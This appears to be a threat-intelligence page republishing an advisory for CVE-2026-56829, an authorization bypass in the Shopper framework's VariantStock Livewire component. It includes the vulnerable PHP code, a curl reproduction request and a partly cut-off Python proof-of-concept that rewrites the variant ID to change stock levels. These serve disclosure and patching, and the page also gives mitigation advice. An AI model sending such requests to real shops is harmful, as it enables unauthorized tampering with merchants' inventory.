Skip to main content

Framework: Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component (CVE-2026-56829)

0
High
Published: 09/11/2026 (09/11/2026, 21:29:20 UTC)
Source: GCVE Database
Product: shopper/framework

Description

## Title Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component ## Description A lack of authorization control was discovered in the `stockAction()` method in `packages/admin/src/Livewire/Components/Products/VariantStock.php`. The component exposes a `public $variant` property without the `#[Locked]` attribute, so the variant ID is client-mutable via the Livewire wire payload. The `stockAction()` returns an Action with no `->authorize(...)` chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database. ## Severity CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High) ## Affected files - `packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91` ```php // Line 34 - unprotected, client-mutable variant binding public $variant; // Lines 36-91 - no ->authorize(...) on the Action public function stockAction(): Action { return Action::make('stock') ->label(__('shopper::forms.actions.update')) ->color('gray') ->icon(Untitledui::Package) ->modalHeading(__('shopper::pages/products.modals.variants.title')) ->modalWidth(Width::Large) ->schema([ Select::make('inventory') ->label(__('shopper::pages/products.inventory_name')) ->options(Inventory::query()->pluck('name', 'id')) ->native(false) ->required(), TextInput::make('quantity') ->label(__('shopper::forms.label.quantity')) ->placeholder('-10 or -5 or 50, etc') ->numeric() ->required(), ]) ->action(function (array $data): void { // ...calls $this->variant->mutateStock(...) or decreaseStock(...) // with no permission check anywhere in this path }); } ``` ## Steps to reproduce Prerequisites: an admin-panel account with any role (including a role that holds only `browse_products` or `browse_orders`). No `edit_product_variants` permission is required. ```bash # Step 1: Log in and obtain a session cookie and Livewire CSRF token. # Obtain them from a normal browser login, then use them below. SESSION="laravel_session=<your_session_value>" XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>" # Step 2: Load the product variant page for any variant ID (e.g., 1). # Capture the Livewire snapshot from the page source. # Step 3: Call the stock action on an arbitrary variant. # The wire payload sets "component.variant" to any variant ID in the database. curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "$XSRF" \ -H "Cookie: $SESSION" \ -d '{ "components": [{ "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}", "updates": {}, "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}] }] }' # Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions. ``` ## Proof of concept ```python #!/usr/bin/env python3 """ VariantStock authorization bypass PoC. Set these environment variables before running: BASE_URL e.g. http://localhost SESSION_COOKIE value of the laravel_session cookie XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie COMPONENT_ID Livewire component snapshot ID (from page source) VARIANT_ID integer ID of any target variant INVENTORY_ID integer ID of the target inventory location QUANTITY integer quantity adjustment (positive or negative) """ import json import os import requests base_url = os.environ['BASE_URL'] session = os.environ['SESSION_COOKIE'] xsrf = os.environ['XSRF_TOKEN'] component_id = os.environ['COMPONENT_ID'] variant_id = int(os.environ['VARIANT_ID']) inventory_id = int(os.environ['INVENTORY_ID']) quantity = int(os.environ['QUANTITY']) headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravel_session={session}', 'X-Livewire': '1', } snapshot = json.dumps({ 'id': component_id, 'data': {'variant': variant_id}, 'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED', }) payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{ 'path': '', 'method': 'callAction', 'params': ['stock', { 'inventory': inventory_id, 'quantity': quantity, }] }] }] } r = requests.post(f'{base_url}/shopper/livewire/update', heade

CVSS v3.1

Score 8.1high

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Affected software

Packagistghsa
shopper/framework
Affected versions
<2.9.2

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 09/12/2026, 01:30:02 UTC

Technical Analysis

The Shopper Framework's VariantStock Livewire component exposes a public $variant property without the #[Locked] attribute, making the variant ID client-mutable via Livewire payloads. The stockAction() method returns an Action without an authorization chain, enabling any authenticated admin user, regardless of their permissions, to adjust inventory levels for arbitrary product variants. This combination of missing authorization and unlocked model binding allows bypassing permission gates and redirecting stock mutations to any variant in the database. The vulnerability affects versions prior to 2.9.2.

Potential Impact

Any authenticated user with access to the admin panel, including those with only browsing permissions, can arbitrarily increase or decrease inventory stock for any product variant. This can lead to unauthorized inventory manipulation, impacting data integrity and potentially causing operational or financial damage.

Mitigation Recommendations

A patch is available for this vulnerability. Users should upgrade to version 2.9.2 or later where authorization checks have been implemented on the stockAction method and the variant property is properly locked. Until patched, restrict admin panel access to trusted users only.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Gcve Source
db.gcve.eu
Osv Id
GHSA-g3f9-g5vj-p62f
Osv Schema Version
1.4.0
Aliases
["CVE-2026-56829"]
Ecosystems
["Packagist"]
Database Specific Severity
HIGH
Cvss Version
3.1

Threat ID: 6aa4a03b55bf5e2cf5a8744a

Added to database: 09/12/2026, 00:43:39 UTC

Last enriched: 09/12/2026, 01:30:02 UTC

Last updated: 09/13/2026, 01:40:01 UTC

Views: 19

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses